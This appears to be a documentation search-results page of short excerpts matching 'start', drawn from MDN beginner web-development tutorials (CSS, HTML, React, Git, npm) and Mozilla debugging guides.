...n, which lists a number of data points about that property, including whether it is inherited or not. see the color property specifications section, for example. understanding how the concepts work together these three concepts together control which css applies to what element; in the below sections we'll see how they work together. it can sometimes seem a little bit complicated, but you will
start to remember them as you get more experienced with css, and you can always look up the details if you forget! even experienced developers don't remember all the details. the below video shows how you can use the firefox devtools to inspect a page's cascade, specificity, and more: understanding inheritance we'll
start with inheritance. in the example below we have a <ul>, with two levels of un...
... new color for the <a> element — for example a { color: red; }? resetting all property values the css shorthand property all can be used to apply one of these inheritance values to (almost) all properties at once. its value can be any one of the inheritance values (inherit, initial, unset, or revert). it's a convenient way to undo changes made to styles so that you can get back to a known
starting point before beginning new changes. in the below example we have two blockquotes. the first has styling applied to the blockquote element itself, the second has a class applied to the blockquote which sets the value of all to unset. try setting the value of all to some of the other available values and observe what the difference is. understanding the cascade we now understand why a par...
...And 3 more matches
Test your skills: Selectors - Learn web development
t or further help section at the bottom of this page. selectors one without changing the html, use css to do the following things: make h1 headings blue. give h2 headings a blue background and white text. cause text wrapped in a span to have a font-size of 200%. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. selectors two without changing the html, make the following changes to the look of the content in this example: give the element with an id of special a yellow background. give the element with a class of alert a 1px grey border. if the element with a class of alert also has a class of stop, make the background red.
...d of special a yellow background. give the element with a class of alert a 1px grey border. if the element with a class of alert also has a class of stop, make the background red. if the element with a class of alert also has a class of go, make the background green. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. selectors three in this example, try making the following changes without adding to the html. style links, making the link-state orange, visited links green, and remove the underline on hover. make the first element inside the container font-size: 150% and the first line of that element red. stripe every other row i...
...reen, and remove the underline on hover. make the first element inside the container font-size: 150% and the first line of that element red. stripe every other row in the table by selecting these rows and giving them a background color of #333 and foreground of white. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. selectors four in this task try the following: make any paragraph that directly follows an h2 element red. remove the bullets and add a 1px grey bottom border only to list items that are a direct child of the ul with a class of list. try updating the live code below to recreate the finished example: for asses...
...And 3 more matches
Fundamental text and font styling - Learn web development
overview: styling text next in this article we'll
start you on your journey towards mastering text styling with css. here we'll go through all the basic fundamentals of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing. prerequisites: basic computer literacy, html basics (study introduction to html), css basics (study introduction to css). objective: to learn the fundamental properties and techniques needed to style text on web pages. ...
...c computer literacy, html basics (study introduction to html), css basics (study introduction to css). objective: to learn the fundamental properties and techniques needed to style text on web pages. what is involved in styling text in css? as you'll have already experienced in your work with html and css, text inside an element is laid out inside the element's content box. it
starts at the top left of the content area (or the top right, in the case of rtl language content), and flows towards the end of the line. once it reaches the end, it goes down to the next line and continues, then the next line, until all the content has been placed in the box. text content effectively behaves like a series of inline elements, being laid out on lines adjacent to one another, and not cr...
...an't guarantee the availability of the fonts you want to use on your webpages (even a web font could fail for some reason), you can supply a font stack so that the browser has multiple fonts it can choose from. this simply involves a font-family value consisting of multiple font names separated by commas, e.g. p { font-family: "trebuchet ms", verdana, sans-serif; } in such a case, the browser
starts at the beginning of the list and looks to see if that font is available on the machine. if it is, it applies that font to the selected elements. if not, it moves on to the next font, and so on. it is a good idea to provide a suitable generic font name at the end of the stack so that if none of the listed fonts are available, the browser can at least provide something approximately suitable. to ...
...And 3 more matches
Styling lists - Learn web development
line-height on the description list terms and descriptions as we did with the paragraphs and list items. again, consistency is good! we also make the description terms have bold font, so they visually stand out easier. list-specific styles now we've looked at general spacing techniques for lists, let's explore some list-specific properties. there are three properties you should know about to
start with, which can be set on <ul> or <ol> elements: list-style-type: sets the type of bullets to use for the list, for example, square or circle bullets for an unordered list, or numbers, letters or roman numerals for an ordered list. list-style-position: sets whether the bullets appear inside the list items, or outside them before the
start of each item. list-style-image: allows you to use a c...
...for the bullet points. in our example, we've set the ordered list to use uppercase roman numerals, with: ol { list-style-type: upper-roman; } this gives us the following look: you can find a lot more options by checking out the list-style-type reference page. bullet position the list-style-position property sets whether the bullets appear inside the list items, or outside them before the
start of each item. the default value is outside, which causes the bullets to sit outside the list items, as seen above. if you set the value to inside, the bullets will sit inside the lines: ol { list-style-type: upper-roman; list-style-position: inside; } using a custom bullet image the list-style-image property allows you to use a custom image for your bullet. the syntax is pretty simple: ...
...; } the values can be listed in any order, and you can use one, two or all three (the default values used for the properties that are not included are disc, none, and outside). if both a type and an image are specified, the type is used as a fallback if the image can't be loaded for some reason. controlling list counting sometimes you might want to count differently on an ordered list — e.g. ...
...And 3 more matches
Web fonts - Learn web development
lternative, which works very well, right back to ie version 6. web fonts are a css feature that allows you to specify font files to be downloaded along with your website as it is accessed, meaning that any browser that supports web fonts can have exactly the fonts you specify available to it. ...
... they are web fonts or not. this video provides a nice walkthrough: active learning: a web font example with this in mind, let's build up a basic web font example from first principles. it is difficult to demonstrate this using an embedded live example, so instead, we would like you to follow the steps detailed in the below sections, to get an idea of the process. you should use the web-font-
start.html and web-font-
start.css files as a
starting point to add your code to (see the live example). make a copy of these files in a new directory on your computer now. in the web-font-
start.css file, you'll find some minimal css to deal with the basic layout and typesetting of the example. finding fonts for this example, we'll use two web fonts, one for the headings, and one for the body text. to...
...fonts are created by font foundries and are stored in different file formats. there are generally three types of sites where you can obtain fonts: a free font distributor: this is a site that makes free fonts available for download (there may still be some license conditions, such as crediting the font creator). ...
...And 3 more matches
JavaScript basics - Learn web development
what is javascript? javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website. it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascript is versatile and beginner-friendly. ...
... what is javascript? javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website. it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascript is versatile and beginner-friendly. ...
...guage, and offers an opportunity to play with a few browser api features too. have fun! a hello world! example javascript is one of the most popular modern web technologies! as your javascript skills grow, your websites will enter a new dimension of power and creativity. however, getting comfortable with javascript is more challenging than getting comfortable with html and css. you may have to
start small, and progress gradually. to begin, let's examine how to add javascript to your page for creating a hello world! example. (hello world! is the standard for introductory programming examples.) important: if you haven't been following along with the rest of our course, download this example code and use it as a
starting point. go to your test site and create a new folder named scripts. w...
...And 3 more matches
The web and web standards - Learn web development
happened, but i did promise you a brief summary. one last significant data point to share is that in 1994, timbl founded the world wide web consortium (w3c), an organization that brings together representatives from many different technology companies to work together on the creation of web technology specifications. after that other technologies followed such as css and javascript, and the web
started to look more like the web we know today. web standards web standards are the technologies we use to build web sites. these standards exist as long technical documents called specifications, which detail exactly how the technology should work. these documents are not very useful for learning how to use the technologies they describe (this is why we have sites like mdn web docs), but instead ar...
...e best known web standards body, but there are others such as the whatwg (who were responsible for the modernization of the html language), ecma (who publish the standard for ecmascript, which javascript is based on), khronos (who publish technologies for 3d graphics, such as webgl), and others. "open" standards one of the key aspects of web standards, which timbl and the w3c agreed on from the
start, is that the web (and web technologies) should be free to both contribute and use, and not encumbered by patents/licensing. therefore anyone can write the code to build a website for free, and anyone can contribute to the standards creation process, where the specs are written. because web technologies are created openly, in collaboration between many different companies, it means that no one co...
...se you'll hear around open web standards is "don't break the web" — the idea is that any new web technology that is introduced should be backwards compatible with what went before it (i.e. old web sites will still continue to work), and forwards compatible (future technologies in turn will be compatible with what we currently have). as you go through the learning material presented here, you'll
start to learn how this is made possible with some very clever design and implementation work. being a web developer is good the web industry is a very attractive market to enter if you are looking for a job. recent published figures say that there are currently around 19 million web developers in the world, and that figure is set more than double in the next decade. and at the same time, there is a ...
...And 3 more matches
Advanced text formatting - Learn web development
t fundamentals article. the elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). here you'll learn about marking up quotations, description lists, computer code and other related text, subscript and superscript, contact information, and more. prerequisites: basic html familiarity, as covered in getting
started with html. html text formatting, as covered in html text fundamentals. objective: to learn how to use lesser-known html elements to mark up advanced semantic features. description lists in html text fundamentals, we walked through how to mark up basic lists in html, but we didn't mention the third type of list you'll occasionally come across — description lists. the purpos...
...ner('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selection
start; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the...
...ner('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selection
start; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the...
...And 3 more matches
What’s in the head? Metadata in HTML - Learn web development
itle>, links to css (if you choose to style your html content with css), links to custom favicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup. prerequisites: basic html familiarity, as covered in getting
started with html. objective: to learn about the html head, its purpose, the most important items it can contain, and what effect it can have on the html document. what is the html head? let's revisit the simple html document we covered in the previous article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this ...
...e> </head> in larger pages however, the head can get quite full. try going to some of your favorite websites and use the developer tools to check out their head contents. our aim here is not to show you how to use everything that can possibly be put in the head, but rather to teach you how to use the major elements that you'll want to include in the head, and give you some familiarity. let's get
started. adding a title we've already seen the <title> element in action — this can be used to add a title to the document. this however can get confused with the <h1> element, which is used to add a top level heading to your body content — this is also sometimes referred to as the page title. but they are different things! the <h1> element appears on the page when loaded in the browser — ge...
...to do this, either copy and paste the code out of the page and into a new text file in your code editor, then save it in a sensible place. press the "raw" button on the github page, which causes the raw code to appear (possibly in a new browser tab). next, choose your bro...
...And 3 more matches
From object to iframe — other embedding technologies - Learn web development
<embed> and <object> elements. <iframe>s are for embedding other web pages, and the other two allow you to embed pdfs, svg, and even flash — a technology that is on the way out, but which you'll still see semi-regularly. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting
started with html) and the previous articles in this module. objective: to learn how to embed items into web pages using <object>, <embed>, and <iframe>, like flash movies and other webpages. a short history of embedding a long time ago on the web, it was popular to use frames to create websites — small parts of a website stored in individual html pages. these were embedded in a m...
...ner('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selection
start; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the...
...age usable sooner and decreases your official page load time (an important seo metric.) security concerns above we mentioned security concerns — let's go into this in a bit more detail now. we are not expecting you to understand all of this content perfectly the first time; we just want to make you aware of this concern, and provide a reference to come back to as you get more experienced and
start considering using <iframe>s in your experiments and work. also, there is no need to be scared and not use <iframe>s — you just need to be careful. read on... browser makers and web developers have learned the hard way that iframes are a common target (official term: attack vector) for bad people on the web (often termed hackers, or more accurately, crackers) to attack if they are trying to mal...
...And 3 more matches
Video and Audio APIs - Learn web development
you to control video and audio players programmatically — for example htmlmediaelement.play(), htmlmediaelement.pause(), etc. this interface is available to both <audio> and <video> elements, as the features you'll want to implement are nearly identical. let's go through an example, adding features as we go. our finished example will look (and function) something like the following: getting
started to get
started with this example, download our media-player-
start.zip and unzip it into a new directory on your hard drive. if you downloaded our examples repo, you'll find it in javascript/apis/video-audio/
start/ at this point, if you load the html you should see a perfectly normal html5 video player, with the native controls rendered. exploring the html open the html index file. you'll se...
...sting bits here. first of all, notice the .controls styling: .controls { visibility: hidden; opacity: 0.5; width: 400px; border-radius: 10px; position: absolute; bottom: 20px; left: 50%; margin-left: -200px; background-color: black; box-shadow: 3px 3px 5px black; transition: 1s all; display: flex; } .player:hover .controls, player:focus .controls { opacity: 1; } we
start off with the visibility of the custom controls set to hidden. in our javascript later on, we will set the controls to visible, and remove the controls attribute from the <video> element. this is so that, if the javascript doesn't load for some reason, users can still use the video with the native controls. we give the controls an opacity of 0.5 by default, so that they are less distracting when ...
...oving classes, etc. we use the classlist.contains() method to check whether the list contains the active class. this returns a boolean true/false result. if active has been set on the rwd button, we remove it using classlist.remove(), clear the interval that has been set when the button was first pressed (see below for more explanation), and use htmlmediaelement.play() to cancel the rewind and
start the video playing normally. if it hasn't yet been set, we add the active class to the rwd button using classlist.add(), pause the video using htmlmediaelement.pause(), then set the intervalrwd variable to equal a setinterval() call. when invoked, setinterval() creates an active interval, meaning that it runs the function given as the first parameter every x milliseconds, where x is the value o...
...And 3 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). we'll also wire up our "clear completed" button. along the way, we'll learn about using conditional rendering in our templates. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...sites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to continue our learning about components classes,
start looking at conditional rendering, and wire up some of our footer functionality. connecting the behavior in the footer to get the footer working, we need to implement the following thre areas of functionality: a pending todo counter. filters for all, active, and completed todos. a button to clear the completed todos. because we need access to our service from the footer comp...
...x" aria-label="toggle the completion of this todo" checked={{ @todo.iscompleted }} {{ on 'change' (fn this.todos.togglecompletion @todo) }} > note: the above snippet uses a new ember-specific keyword — fn. fn allows for partial application, which is similar to bind, but it never changes the invocation context; this is equivalent to using bind with a null first argument. ...
...And 3 more matches
Accessibility in React - Learn web development
e features we set out to implement. a user can add a new task, check and uncheck tasks, delete tasks, or edit task names. and they can filter their task list by all, active, or completed tasks. or, at least: they can do all of these things with a mouse. unfortunately, these features are not very accessible to keyboard-only users. let's explore this now. exploring the keyboard usability problem
start by clicking on the input at the top of our app, as if you're going to add a new task. you'll see a thick, dashed outline around that input. this outline is your visual indicator that the browser is currently focused on this element. press the tab key, and you will see the outline appear around the "add" button beneath the input. this shows you that the browser's focus has moved. press tab a few ...
...r useeffect to focus on the edit button if isediting is false? let's try it now — update your useeffect() call like so: useeffect(() => { if (isediting) { editfieldref.current.focus(); } else { editbuttonref.current.focus(); } }, [isediting]); this kind of mostly works. head back to your browser and you’ll see that your focus moves between edit <input> and "edit" button as you
start and end an edit. however, you may have noticed a new problem — the "edit" button in the final <todo /> component is focussed immediately on page load, before we even interact with the app! our useeffect() hook is behaving exactly as we designed it: it runs as soon as the component renders, sees that isediting is false, and focuses the "edit" button. because there are three instances of <todo /...
...isediting) { editbuttonref.current.focus(); } }, [wasediting, isediting]); note that the logic of useeffect() now depends on wasediting, so we provide it in the array of dependencies. again try using the "edit" and "cancel" buttons to toggle between the templates of your <todo /> component; you'll see the browser focus indicator move appropriately, without the problem we discussed at the
start of this section. focusing when the user deletes a task there's one last keyboard experience gap: when a user deletes a task from the list, the focus vanishes. we're going to follow a pattern similar to our previous changes: we'll make a new ref, and utilize our useprevious() hook, so that we can focus on the list heading whenever a user deletes a task. why the list heading? sometimes, the pla...
...And 3 more matches
Componentizing our React app - Learn web development
for our components. the following commands make a components directory and then, within that, a file called todo.js. make sure you're in the root of your app before you run these! mkdir src/components touch src/components/todo.js our new todo.js file is currently empty! open it up and give it its first line: import react from "react"; since we're going to make a component called todo, you can
start adding the code for that to todo.js too, as follows. in this code, we define the function and export it on the same line: export default function todo() { return ( ); } this is ok so far, but our component has to return something! go back to src/app.js, copy the first <li> from inside the unordered list, and paste it into todo.js so that it reads like this: export default function todo() ...
...ls other developers "this data will never change after being defined here”. rendering with iteration to render our array of objects, we have to turn each one into a <todo /> component. javascript gives us an array method for transforming data into something else: array.prototype.map(). above the return statement of app(), make a new const called tasklist and use map() to transform it. ...
...by="list-heading" > {tasklist} </ul> </div> ); } export default app; with this in place, we’re almost ready to tackle some interactivity in our react app! summary and that's it for this article — we've gone into some depth on how to break up your app nicely into components, end render them efficiently. ...
...And 3 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about conditional rendering in react, and implementing list filtering and an editing ui in our app. editing the name of a task we don’t have a user interface for editing the name of a task yet. we'll get to that in a moment. to
start with, we can at least implement an edittask() function in app.js. it’ll be similar to deletetask() because it'll take an id to find its target object, but it'll also take a newname property containing the name to update the task to. we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a new array with some changes, instead of deleting something from the ...
...ditingtemplate : viewtemplate}</li>; your browser should render all your tasks just like before. to see the editing template, you will have to change the default isediting state from false to true in your code for now; we will look at making the edit button toggle this in the next section! toggling the <todo /> templates at long last, we are ready to make our final core feature interactive. to
start with, we want to call setediting() with a value of true when a user presses the "edit" button in our viewtemplate, so that we can switch templates. update the "edit" button in the viewtemplate like so: <button type="button" classname="btn" onclick={() => setediting(true)}> edit <span classname="visually-hidden">{props.name}</span> </button> now we'll add the same onclick handler to the "canc...
...todo items to toggle between templates. the next step is to actually make the editing functionality work. editing from the ui much of what we're about to do will mirror the work we did in form.js: as the user types in our new input field, we need to track the text they enter; once they submit the form, we need to use a callback prop to update our state with the new name of the task. we'll
start by making a new hook for storing and setting the new name. still in todo.js, put the following underneath the existing hook: const [newname, setnewname] = usestate(''); next, create a handlechange() function that will set the new name; put this underneath the hooks but before the templates: function handlechange(e) { setnewname(e.target.value); } now we'll update our editingtemplate's <inpu...
...And 3 more matches
Beginning our React todo list - Learn web development
ekeeping create-react-app has made a few files we won't be using at all for our project. we're not going to write per-component stylesheets, so first delete the app.css import from the top of app.js. we are also not going to be using the logo.svg file, so remove that import too. then, copy and paste the following commands into your terminal to delete some unneeded files. make sure you’re
starting in the app's root directory! # move into the src directory of your project cd src # delete a few files rm -- app.test.js app.css logo.svg serviceworker.js setuptests.js # move back up to the root of the project cd .. notes: two of the files we’re deleting are for testing the application. we will not cover testing here. if you stopped your server to do the terminal tasks mentioned above...
...ot directory! # move into the src directory of your project cd src # delete a few files rm -- app.test.js app.css logo.svg serviceworker.js setuptests.js # move back up to the root of the project cd .. notes: two of the files we’re deleting are for testing the application. we will not cover testing here. if you stopped your server to do the terminal tasks mentioned above, you’ll have to
start it again using npm
start. project
starter code as a
starting point for this project, we're going to provide two things: an app() function to replace the one you have now, and some css to style your app. the jsx copy the following snippet to your clipboard, then paste it into app.js so that it replaces the existing app() function: function app(props) { return ( <div classname="todoapp ...
...d; border-width: 0 0 5px 5px; border-top-color: transparent; opacity: 0; background: transparent; } .c-cb > input[type="checkbox"]:checked + label::after { opacity: 1; } save and look back at your browser, and your app should now have reasonable styling. summary now our todo list app actually looks a bit more like a real app! the problem is: it doesn’t actually do anything. ...
...And 3 more matches
Git and GitHub - Learn web development
later on. the most popular vcs (at least among web developers) is git, along with github, a site that provides hosting for your repositories and several tools for working with them. this module aims to teach you what you need to know about both of them. overview vcses are essential for software development: it is rare that you will work on a project completely on your own, and as soon as you
start working with other people you
start to run the risk of conflicting with each other's work — this is when both of you try to update the same piece of code at the same time. you need to have some kind of mechanism in place to manage the occurences, and help avoid loss of work as a result. when working on a project on your own or with others, you'll want to be able to back up the code in a centra...
...ame time. you need to have some kind of mechanism in place to manage the occurences, and help avoid loss of work as a result. when working on a project on your own or with others, you'll want to be able to back up the code in a central place, so it is not lost if your computer breaks. you will also want to be able to roll back to earlier versions if a problem is later discovered. you might have
started doing this in your own work by creating different versions of the same file, e.g. mycode.js, mycode_v2.js, mycode_v3.js, mycode_final.js, mycode_really_really_final.js, etc., but this is really error-prone and unreliable. different team members will commonly want to create their own separate versions of the code (called branches in git), work on a new feature in that version, and then get it m...
...e codebase is made on your computer (and everyone else's). you make changes to your own copy, and then push those changes back up to the server, where an administrator will decide whether to merge your changes with the master copy. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites to use git and github, you need: a desktop computer with git installed on it (see the git downloads page). a tool to use git. depending on how you like to work, you could use a git gui client (we'd recommend github desktop, sourcetree or git kraken) or just stick to using a terminal window. in fact, it is probably useful for you to get to know at least the basics of git ter...
...And 3 more matches
Introducing a complete toolchain - Learn web development
t the production version still runs on a wide variety of browsers, modern and older. post development: tooling that comes into play after you are done with the body of development to ensure that your software makes it to the web and continues to run. in this case study we'll look at adding tests to your code, and deploying your app using netlify so it is available for all the web to see. let's
start working on these, beginning with our development environment. creating a development environment this part of the toolchain is sometimes seen to be delaying the actual work, and it can be very easy to fall into a "rabbit hole" of tooling where you spend a lot of time trying to get the environment "just right". but you can look at this in the same way as setting up your physical work environmen...
...sic" issues will be caught early on. using the command line, we can create the project, install the initial tooling, and create rudimentary configuration files. again, once you've repeated this process a few times, you'll get a feel for what your default setup should be. of course, this is just one possible configuration. initial setup ok, let's get the initial project setup out the way.
start off by opening your terminal, and navigating to a place that you'll be able to find and get to easily. the desktop perhaps, or your home or documents folder? next, run the following commands to create a folder to keep your project in, and go inside the folder: mkdir will-it-miss cd will-it-miss now we will create a new directory for all of our web site's development code to live in...
...der: mkdir will-it-miss cd will-it-miss now we will create a new directory for all of our web site's development code to live in. run the following now: mkdir src code organization tends to be quite subjective from team to team. for this project, the source code will live in src. making sure you are inside the root of the will-it-miss directory, enter the following command to
start git’s source control functionality working on the directory: git init this means that you'll now be able to
start storing revisions to the folder's contents, saving it to a remote repository, etc. more on this later! next, enter the following command to turn your directory into an npm package, with the advantages that we discussed in the previous article: npm init --force this...
...And 3 more matches
Package management basics - Learn web development
ride or lock certain packages), github also offers a package registry service, and there will be likely more options appearing as time goes on. what is important is that you ensure you've chosen the best registry for you. many projects will use npm, and we’ll stick to this in our examples throughout the rest of the module. using the package ecosystem let’s run through an example to get you
started with using a package manager and registry to install a command line utility. parcel is a(nother) tool that developers commonly use in their development process. parcel is clever in that it can watch the contents of our code for calls to dependencies and automatically installs any dependencies it sees that our code needs. it can also automatically build our code. in our previous chapter we ins...
...o the npm registry (although this is somewhat beyond the scope of this article). type the following command, making sure you are inside the parcel-experiment directory: npm init you will now be asked some questions; npm will then create a default package.json file based on the answers: name: a name to identify the app. just press return to accept the default parcel-experiment. version: the
starting version number for the app: again, just press return to accept the default 1.0.0. description: a quick description of the app's purpose. type in something really simple, like "a simple npm package to learn about using npm", then press return. entry point: this will be the top-level javascript file of the app. the default index.js is fine for now — press return. test command, git repositor...
...mmand: parcel index.html you should see something like this printed to your terminal: server running at http://localhost:1234 ✨ built in 193ms. note: if you have trouble with the terminal returning a "command not found" type error, try running the above command with the npx utility, i.e. npx parcel index.html. now we're ready to benefit from the full javascript package ecosystem. for a
start, there is now a local web server running at http://localhost:1234. go there now and you’ll not see anything for now, but what is cool is that when you do make changes to your app, parcel will rebuild it and refresh the server automatically so you can instantly see the effect your update had. now for some page content. let's say we want to show human-readable relative dates, such as "2 hours ag...
...And 3 more matches
Debugging on Mac OS X
$home/.lldbinit is sufficient: settings set target.load-cwd-lldbinit true however, if you will run lldb from a different directory, or if you will be running it indirectly by debugging in xcode (xcode always runs lldb from "/"), then this setting will not help you. instead, add the following to your $home/.lldbinit: # this automatically sources the mozilla project's .lldbinit as soon as lldb #
starts or attaches to a mozilla app (that's in an object directory). # # this is mainly a workaround for xcode not providing a way to specify that # lldb should be run from a given directory. (xcode always runs lldb from "/", # regardless of what directory xcode was
started from, and regardless of the # value of the "custom working directory" field in the scheme's run options. # therefore setting `set...
... the breakpoint runs some commands to # figure out the object directory path from the attached target and then # sources the .lldbinit from there. ...
... the breakpoint runs some commands to # figure out the object directory path from the attached target and then # sources the .lldbinit from there. # # note: this scripts actions take a few seconds to complete, so the custom # formatters, commands etc. ...
...And 3 more matches
Debugging on Windows
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on windows using the visual c++ ide. if vc++ and your mozilla application hang shortly after you launch the application under the debugger, see problems loading debug symbols. ways to
start the debugger first of all, it's necessary to install a visual studio extension to be able to follow child processes as they are created. firefox, in general, and even in non-e10s mode, does not
start the main process directly, it
starts it via a launcher process. this means that visual studio will only attach to the first process it finds, and will not hit any break-point (and even notifies you that it cannot find their location). microsoft child process debugging power tool allows automati...
...ocess, gpu process, etc. enable it by going its configuration menu in "debug > other debugging targets > child process debugging settings", and ticking the box. if you have followed the steps in building firefox for windows and have a local debug build, you can execute ./mach run --debug from the same command line. it would open visual studio with firefox's run options configured. you can click "
start" button to run firefox then, already attached in the debugger. alternatively, if you have generated the visual studio solution, via ./mach build-backend -b visualstudio, opening this solution allows you to run firefox.exe directly in the debugger. making it the
startup project, by right clicking on it (it appears bold when it's the case) can be useful. breakpoints are kept across runs, this can ...
... run the program until you hit an assertion. you will get a dialog box asking if you would like to debug. hit "cancel". ...
...And 3 more matches
Gecko Logging
rned on normally. verbose 5 a message that will be printed a lot, useful for debugging program flow and will probably impact performance. ...
...l be printed a lot, useful for debugging program flow and will probably impact performance. ...
...stuff() { moz_log(slogger, loglevel::info, ("doing stuff.")); int i = 0; int
start = time::nowms(); moz_log(slogger, loglevel::debug, ("
starting loop.")); while (i++ < 10) { moz_log(slogger, loglevel::verbose, ("i = %d", i)); } // only calculate the elapsed time if the warning level is enabled. if (moz_log_test(slogger, loglevel::warning)) { int elapsed = time::nowms() -
start; if (elapsed > 1000) { moz_log(slogger, loglevel::warning, ("loop took %dms!", elapsed)); } } if (i != 10) { moz_log(slogger, loglevel::error, ("i should be 10!")); } } enabling logging the log level for a module is controlled by setting an environment variable before launching the application. it can also be adjusted by setting prefs. by default all logging output is...
...And 3 more matches
How to get a stacktrace with WinDbg
ou need a firefox version for which symbols are availables from the mozilla symbol server to use with windbg. you can use any official nightly build or released version of firefox from mozilla. you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/. ...
...efox version for which symbols are availables from the mozilla symbol server to use with windbg. you can use any official nightly build or released version of firefox from mozilla. you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/. debugging to begin debugging, ensure that firefox is not already running and open windbg from the
start menu. ...
...he
start menu. (
start->all programs->debugging tools for windows->windbg) next, open the "file" menu and choose "open executable...". in the file chooser window that appears, open the firefox.exe executable in your firefox program folder (c:\program files\mozilla firefox). you should now see a "command" text window with debug output at the top and an input box at the bottom. before debugging can
start, several commands must be entered into the one-line input box at the bottom of the command window. tip: all commands must be entered exactly as written, one line at a time, into the bottom of the command box. copying and pasting each line is the easiest method to avoid mistakes some commands
start with a period (.) or a pipe character (|), which is required. (the keystroke for a pipe charac...
...And 3 more matches
Addon
dd-on is a third party add-on installation or not. id read only string the id of the add-on. no other installed add-on will have the same id. isactive read only boolean true if the add-on is currently functional. for some add-ons this will change immediately based on the appdisabled and userdisabled properties; for others it will only change after an application re
start. iscompatible read only boolean true or false depending on whether the add-on is compatible with the current application version and platform version. isplatformcompatible read only boolean true or false depending on whether the add-on is compatible with the current operating system. name read only string the name of the add-on. pendingoper...
... isplatformcompatible read only boolean true or false depending on whether the add-on is compatible with the current operating system. name read only string the name of the add-on. pendingoperations read only integer a bitfield holding all of the current operations that are waiting to be performed for this add-on. operations are generally deferred when a re
start is necessary to accomplish them. permissions read only integer a bitfield holding all the the operations that can be performed on this add-on. operations my be restricted based on system policies (e.g., the system administrator may not allow certain add-ons to be uninstalled), add-on type (e.g., themes may not be disabled), or add-on state (e.g., an incompatible add-on cannot be e...
...the addoninstall that will install this add-on. only available if this add-on is in the process of being installed. installdate read only date the date that the add-on was first installed. optionsurl read only string the url of the options dialog to display for this add-on. pendingupgrade read only addon if this add-on will be replaced on the next re
start, this property will hold the new addon object. releasenotesuri read only nsiuri a uri for release notes for this version. screenshots read only addonscreenshot[] an array of addonscreenshot objects containing urls of preview images for the add-on. size read only integer the size of the add-on's files in bytes. for an add-on that has not yet been dow...
...And 3 more matches
Add-on Manager
tes using the findupdates() method. it must be passed an updatelistener to receive information about compatibility information and new update information. any available update is returned as an addoninstall which is ready to be downloaded and installed. ...
... passed an updatelistener to receive information about compatibility information and new update information. any available update is returned as an addoninstall which is ready to be downloaded and installed. detecting add-on changes requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) you can also get lists of add-ons that, at
startup, were changed in various ways. ...
...ate is returned as an addoninstall which is ready to be downloaded and installed. detecting add-on changes requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) you can also get lists of add-ons that, at
startup, were changed in various ways. the get
startupchanges() method lets you find out which add-ons were installed, removed, updated, enabled, or disabled at application
startup. ...
...And 3 more matches
OS.File for the main thread
see the promise object documentation for details. also, os.file plays very nicely with task.jsm. ...
